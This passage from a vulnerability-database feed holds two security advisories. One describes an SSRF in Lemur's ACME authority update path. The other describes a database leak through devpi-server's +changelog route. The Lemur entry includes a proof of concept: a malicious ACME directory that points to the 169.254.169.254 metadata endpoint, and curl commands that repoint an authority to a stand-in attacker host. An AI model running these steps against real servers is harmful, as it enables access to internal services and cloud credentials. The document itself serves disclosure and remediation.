  "newOrder": "http://169.254.169.254/latest/meta-data/",   # &lt;- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}
```

**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**
```bash
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer &lt;JWT&gt;" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'
```

**Step 3 - Issue a certificate against the repointed authority** (via UI/API):
```bash
curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer &lt;JWT&gt;" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'
```
The Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

&gt; *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

### Impact
- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.
- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

### Fix
1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.
2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3680"/>
    <summary>### Summary
The ACME client (used to issue certificates from Let's Encrypt / Google Public CA / private ACME CAs) connects to an `acme_url`, then issues requests to URLs that the **ACME server returns** in its directory/order/authorization/finalize responses - this is the classic ACME-client SSRF (RFC 8555 design). Lemur validates `acme_url` against an allowlist of public ACME directories, but **only at authority creation**. The authority UPDATE path (`PUT /authorities/&lt;id&gt;`) accepts a new `options` blob with an arbitrary `acme_url` and never re-validates. An attacker who is a member of an authority's role can repoint an existing ACME authority at a malicious ACME server they control, which returns internal URLs in its responses - coercing Lemur into making JWS-signed POST requests to internal services during the next certificate issuance.

### Detail
**Defect A - allowlist only at creation.**
`_validate_acme_url` (`lemur/plugins/lemur_acme/plugin.py:35-53`) restricts the host to `{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org, dv.acme-v02.api.pki.goog}`. It runs **only inside `create_authority`** (lines 337, 481). The update path stores `options` verbatim:
```python
# lemur/authorities/views.py:417-424  (Authorities.put)
return service.update(
    authority_id,
    owner=data["owner"], description=data["description"],
    active=data["active"], roles=data["roles"],
    options=data.get("options")          # &lt;- acme_url lives here, NO re-validation
)
```
`AuthorityUpdateSchema.options = fields.String()` (`authorities/schemas.py:101`) applies no validation. The docstring of `_validate_acme_url` even admits: *"existing authorities in the DB were already trusted when they were created and are not re-validated."*

**Defect B - ACME client follows server-supplied URLs.**
`setup_acme_client_no_retry` (`acme_handlers.py:161-162, 188-202`) reads `acme_url` from stored authority options and creates an ACME client. Per RFC 8555, the client:
1. `get_directory(acme_url)` -&gt; server returns `newNonce`, `newOrder`, `revokeCert`, `keyChange` URLs.
2. `new_order()` -&gt; server returns `finalize` and `authorizations` URLs.
3. `poll()`, `finalize_order()`, cert download -&gt; all hit **server-chosen URLs**.

A malicious ACME server can return internal URLs for all of these.

**Authorization on update:** `Authorities.put` requires `AuthorityPermission(authority_id, roles)` (`views.py:412`), satisfied by `AuthorityOwnerNeed`/`AuthorityCreatorNeed` - i.e. any **member of the authority's role**, not a global admin. This is the standard role a certificate issuer holds.

**Source-to-sink trace:**
```
PUT /api/1/authorities/&lt;id&gt; (AuthorityPermission = authority-role member)
  -&gt; service.update(options={"acme_url":"https://evil.attacker.tld/dir"})  &lt;- no re-validation
… next certificate issuance against this authority …
  setup_acme_client_no_retry reads acme_url=evil.attacker.tld
    -&gt; ACME client GET directory -&gt; attacker returns newOrder=http://169.254.169.254/...
    -&gt; Lemur POSTs JWS-signed request to internal URL
```

### Steps to Reproduce (POC)

**Step 1 - Attacker runs a malicious ACME directory server** (e.g. `evil.attacker.tld`) that returns internal URLs in its directory and order responses:
```python
# Minimal: a directory endpoint that points "newOrder" at an internal target
{
  "newNonce": "https://evil.attacker.tld/nonce",
  "newOrder": "http://169.254.169.254/latest/meta-data/",   # &lt;- internal
  "revokeCert": "https://evil.attacker.tld/revoke",
  "keyChange": "https://evil.attacker.tld/key"
}
```

**Step 2 - Attacker (authority-role member) repoints an existing ACME authority:**
```bash
curl -k -X PUT https://lemur.example.com/api/1/authorities/42 \
  -H "Authorization: Bearer &lt;JWT&gt;" -H "Content-Type: application/json" \
  -d '{
    "name":"letsencrypt",
    "owner":"attacker@corp.com",
    "description":"x","active":true,
    "roles":[{"id":7,"name":"letsencrypt_operator"}],
    "options":"[{\"name\":\"acme_url\",\"value\":\"https://evil.attacker.tld/dir\"},{\"name\":\"chain\",\"value\":\"\"}]"
  }'
```

**Step 3 - Issue a certificate against the repointed authority** (via UI/API):
```bash
curl -k -X POST https://lemur.example.com/api/1/certificates \
  -H "Authorization: Bearer &lt;JWT&gt;" -H "Content-Type: application/json" \
  -d '{"commonName":"demo.example.com","owner":"attacker@corp.com",
       "authority":{"name":"letsencrypt"},"validityYears":1}'
```
The Lemur ACME client connects to `evil.attacker.tld`, reads the directory, and POSTs a JWS-signed request to `http://169.254.169.254/...` - internal SSRF achieved. (The JWS body, while structured, is attacker-influenceable via the ACME flow.)

&gt; *Note:* This is config-dependent - it requires an ACME authority to exist (an admin must have created one). ACME is the primary recommended issuance path in Lemur, so this is a realistic deployment state.

### Impact
- **JWS-authenticated POSTs** to attacker-chosen internal URLs - stronger than blind GET SSRF: the request body is structured/signed and the account key + cloud DNS credentials are resident in the process during issuance.
- Reaches internal HTTP services, cloud metadata, Kubernetes API from the Lemur host.
- The combination (allowlist-bypass-on-update + server-supplied-URL-following) makes it reachable by a **non-admin** authority-role member without ever needing the admin-gated creation path.
- **Limitation:** requires ACME to be in use. Not default-deploy by itself, but ACME is the recommended issuance method.

### Fix
1. Re-run `_validate_acme_url` inside `authorities/service.update` / `update_options`, or make `acme_url` **immutable** after authority creation.
2. In the ACME client wrapper, **pin every outbound request host** to the allowlisted directory host: reject any directory/order/finalize URL whose hostname ≠ the configured `acme_url` hostname.</summary>
    <published>2026-08-19T11:56:28.286395+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/pysec-2026-3661</id>
    <title>pysec-2026-3661</title>
    <updated>2026-08-19T12:16:22.806367+00:00</updated>
    <content>### Impact

If the replication protocol is enabled by using the ``primary`` (or deprecated ``master``) role for a server instance, then the ``+changelog`` URL route can be used to read the complete database content including password hashes, and the ids and salts of tokens from ``devpi-tokens`` by using a trivially modified GET request.

The leaked hashes use the ``argon2`` algorithm, so they are not immediately at risk by brute-force methods, but dictionary attacks are feasible. If a database leak could have happened, it is advised to change the passwords after a patched version or other mitigation is in place.

When ``devpi-tokens`` is in use, the quality of the server secret is important. It might be possible to derive the server secret if actual tokens are public by using similar techniques to finding the password for a hash. If a database leak could have happened and any tokens are public, it is advised to change the server secret.

Besides the information leak this can be used to produce significant CPU, IO and bandwidth usage depending on the database size.

### Patches

The logic bug causing this issue is fixed with devpi-server 6.20.2 and devpi-server 7.0.0b3.

### Workarounds

When replication isn't used the role can explicitly be set to ``standalone``.

If the server instance is exclusively served through ``nginx`` with the ``devpi-lockdown`` plugin, the request is redirected to the login form due to missing user information. There is no known exploit in this case.</content>
    <link href="https://vulnerability.circl.lu/vuln/pysec-2026-3661"/>
    <summary>### Impact

If the replication protocol is enabled by using the ``primary`` (or deprecated ``master``) role for a server instance, then the ``+changelog`` URL route can be used to read the complete database content including password hashes, and the ids and salts of tokens from ``devpi-tokens`` by using a trivially modified GET request.

The leaked hashes use the ``argon2`` algorithm, so they are not immediately at risk by brute-force methods, but dictionary attacks are feasible. If a database leak could have happened, it is advised to change the passwords after a patched version or other mitigation is in place.

When ``devpi-tokens`` is in use, the quality of the server secret is important. It might be possible to derive the server secret if actual tokens are public by using similar techniques to finding the password for a hash. If a database leak could have happened and any tokens are public, it is advised to change the server secret.

Besides the information leak this can be used to produce significant CPU, IO and bandwidth usage depending on the database size.

### Patches

The logic bug causing this issue is fixed with devpi-server 6.20.2 and devpi-server 7.0.0b3.

### Workarounds

When replication isn't used the role can explicitly be set to ``standalone``.

If the server instance is exclusively served through ``nginx`` with the ``devpi-lockdown`` plugin, the request is redirected to the login form due to missing user information. There is no known exploit in this case.</summary>
    <published>2026-08-19T11:56:28.164114+00:00</published>
  </entry>
</feed>
